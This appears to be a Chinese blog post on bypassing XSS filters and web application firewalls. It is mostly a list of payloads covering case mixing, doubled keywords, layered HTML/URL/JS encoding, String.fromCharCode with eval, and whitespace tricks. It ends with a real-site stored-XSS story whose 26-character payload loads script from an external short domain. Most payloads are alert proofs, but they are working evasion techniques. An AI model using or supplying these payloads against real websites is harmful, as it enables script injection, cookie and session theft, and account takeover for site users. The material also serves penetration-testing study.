输出在注释之中,例如://document.getElementById("order_s.._xss语句bypass">
赞
踩
Hello,大家好,我是None Sec的C_soon5,今天给大家讲讲XSS Bypass
输入点
URL参数
表单内容
JSONP
输出点
输出在标签之间,例如:<script>输出</script>
输出在属性之中,例如:<input value="输出" name="keyword">
输出在注释之中,例如://document.getElementById("order_select").value="输出"
这里强烈推荐Xray,配合被动扫描,简直比一刀999还爽
之前我根据CTF特训营的XSS Bypass写了篇文章:XSS绕WAF,大家可以看看
<script>alert(1)</script>
<svg/οnlοad=alert(1)>
<img src=# οnerrοr=alert(1)>
<img src=# οnerrοr="javascript:alert(1)">
<a href=# οnmοuseοver=alert(1)>click</a>
<a href="javascript:alert(1)">click</a>
<iframe/οnlοad=alert(1)></iframe>
a、大小写绕过(仅限于未先转换为小写,直接替换关键字的情形)
<Script>alert(1)</scRipt>
<img srC=# onError=alErt(1)></img>
<a href=# onMouseover=Alert(1)></a>
b、双写关键词绕过(仅限于将关键字替换为空的情形,且仅仅替换一次的情形)
<scriscriptpt>alert(1)</scscriptript>
<img src=# onerronerroror=alert(1)></img>
c、编码绕过
编码绕过知识不是很了解,可以看我之前的文章:XSS编码绕过讲解
放一些我常用的编码网站:编码解码在线、107000工具站、jsons、HTML字符实体转换
HTML实体字符
注意:标签名不能被编码
这里能绕过的原因就是因为HTML编码的地方在属性中,会自动解码
编码前
<a href="javascript:alert(1)">
编码后
<a href="javascript:alert(1)">click</a>
在放一个经典的例子
<a href="%26%23x6a%3B%26%23x61%3B%26%23x76%3B%26%23x61%3B%26%23x73%3B%26%23x63%3B%26%23x72%3B%26%23x69%3B%26%23x70%3B%0A%26%23x74%3B%26%23x3a%3B%26%23x25%3B%26%23x35%3B%26%23x63%3B%26%23x25%3B%26%23x37%3B%26%23x35%3B%26%23x25%3B%26%23x33%3B%0A%26%23x30%3B%26%23x25%3B%26%23x33%3B%26%23x30%3B%26%23x25%3B%26%23x33%3B%26%23x36%3B%26%23x25%3B%26%23x33%3B%26%23x31%3B%0A%26%23x25%3B%26%23x35%3B%26%23x63%3B%26%23x25%3B%26%23x37%3B%26%23x35%3B%26%23x25%3B%26%23x33%3B%26%23x30%3B%26%23x25%3B%0A%26%23x33%3B%26%23x30%3B%26%23x25%3B%26%23x33%3B%26%23x36%3B%26%23x25%3B%26%23x36%3B%26%23x33%3B%26%23x25%3B%26%23x35%3B%0A%26%23x63%3B%26%23x25%3B%26%23x37%3B%26%23x35%3B%26%23x25%3B%26%23x33%3B%26%23x30%3B%26%23x25%3B%26%23x33%3B%26%23x30%3B%0A%26%23x25%3B%26%23x33%3B%26%23x36%3B%26%23x25%3B%26%23x33%3B%26%23x35%3B%26%23x25%3B%26%23x35%3B%26%23x63%3B%26%23x25%3B%0A%26%23x37%3B%26%23x35%3B%26%23x25%3B%26%23x33%3B%26%23x30%3B%26%23x25%3B%26%23x33%3B%26%23x30%3B%26%23x25%3B%26%23x33%3B%0A%26%23x37%3B%26%23x25%3B%26%23x33%3B%26%23x32%3B%26%23x25%3B%26%23x35%3B%26%23x63%3B%26%23x25%3B%26%23x37%3B%26%23x35%3B%0A%26%23x25%3B%26%23x33%3B%26%23x30%3B%26%23x25%3B%26%23x33%3B%26%23x30%3B%26%23x25%3B%26%23x33%3B%26%23x37%3B%26%23x25%3B%0A%26%23x33%3B%26%23x34%3B%26%23x28%3B%26%23x31%3B%26%23x35%3B%26%23x29%3B">click</a>
最后的形式是以URL形式的,因为实体化中有#,#中在URL是注释的意思,传不过去
解码顺序:URL->HTML->URL->JS
编码顺序:JS->URL->HTML->URL(与解码顺序相反)
因为在属性中,所以先HTML解码,结果如下
然后因为在href中,所以进行URL编码
最后因为Schema为Javascript,进行JS解码
最终结果就是:<a href="javascript:alert(15)">
a、使用“/”替换引号
<script>alert(/hello/)</script>
<svg/οnlοad=alert(/hello/)>
<iframe/οnlοad=alert(/hello/)></iframe>
<img src=# οnerrοr=alert(/hello/)>
b、使用String.fromCharCode
fromCharCode可以对利用代码中的引号进行编码处理,但是需要利用eval函数结合进行使用
编码前
<script>alert('insight-labs')</script>
编码后<script>eval(String.fromCharCode(97,108,101,114,116,40,39,105,110,115,105,103,104,116,45,108,97,98,115,39,41))</script>
使用%0d、%0a绕过
编码前:<img src=x οnerrοr=alert(1)>
编码后:<img%0dsrc=1%0dοnerrοr=alert(/1/)>
<svg/οnlοad=alert(1)> 标签名称和第一个属性间可以使用 "/" 代替空格
首先要了解CSS语法的知识,简单选择器和复杂选择器,定义在<style>标签中,结尾有分号
简单选择器
复杂选择器
黑魔法
思路:导入一张图片,用 )}</style> 标签闭合,进行XSS
a.源码处理
判断代码语法是否正确
b.函数变量注册
函数和变量注册到全局中
这里放一个某专属的存储XSS
思路 当时就是在个人介绍处 输入<a> 嗯 没有过滤 感觉有戏了
然后就直接上payload:<img src=x οnerrοr=alert(1)>
然后就发现过滤了事件属性和敏感的关键词
然后经过了几次的尝试发现 还有长度限制 30位
但是<script>标签没有过滤呀 没有</script>的闭合也是没用的
我就懵逼了 这样的话 就算能过这个 也没有办法利用阿 肯定危害降低了
不行没啥思路了 去群里求救 这里z神闪亮登场了
来个一个 超短的payload:
<script src=㎜₨.㏄></script>
把js文件当做首页就完事 只需要26个字符串
(时间太久已经没图了 哈哈哈哈哈)
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。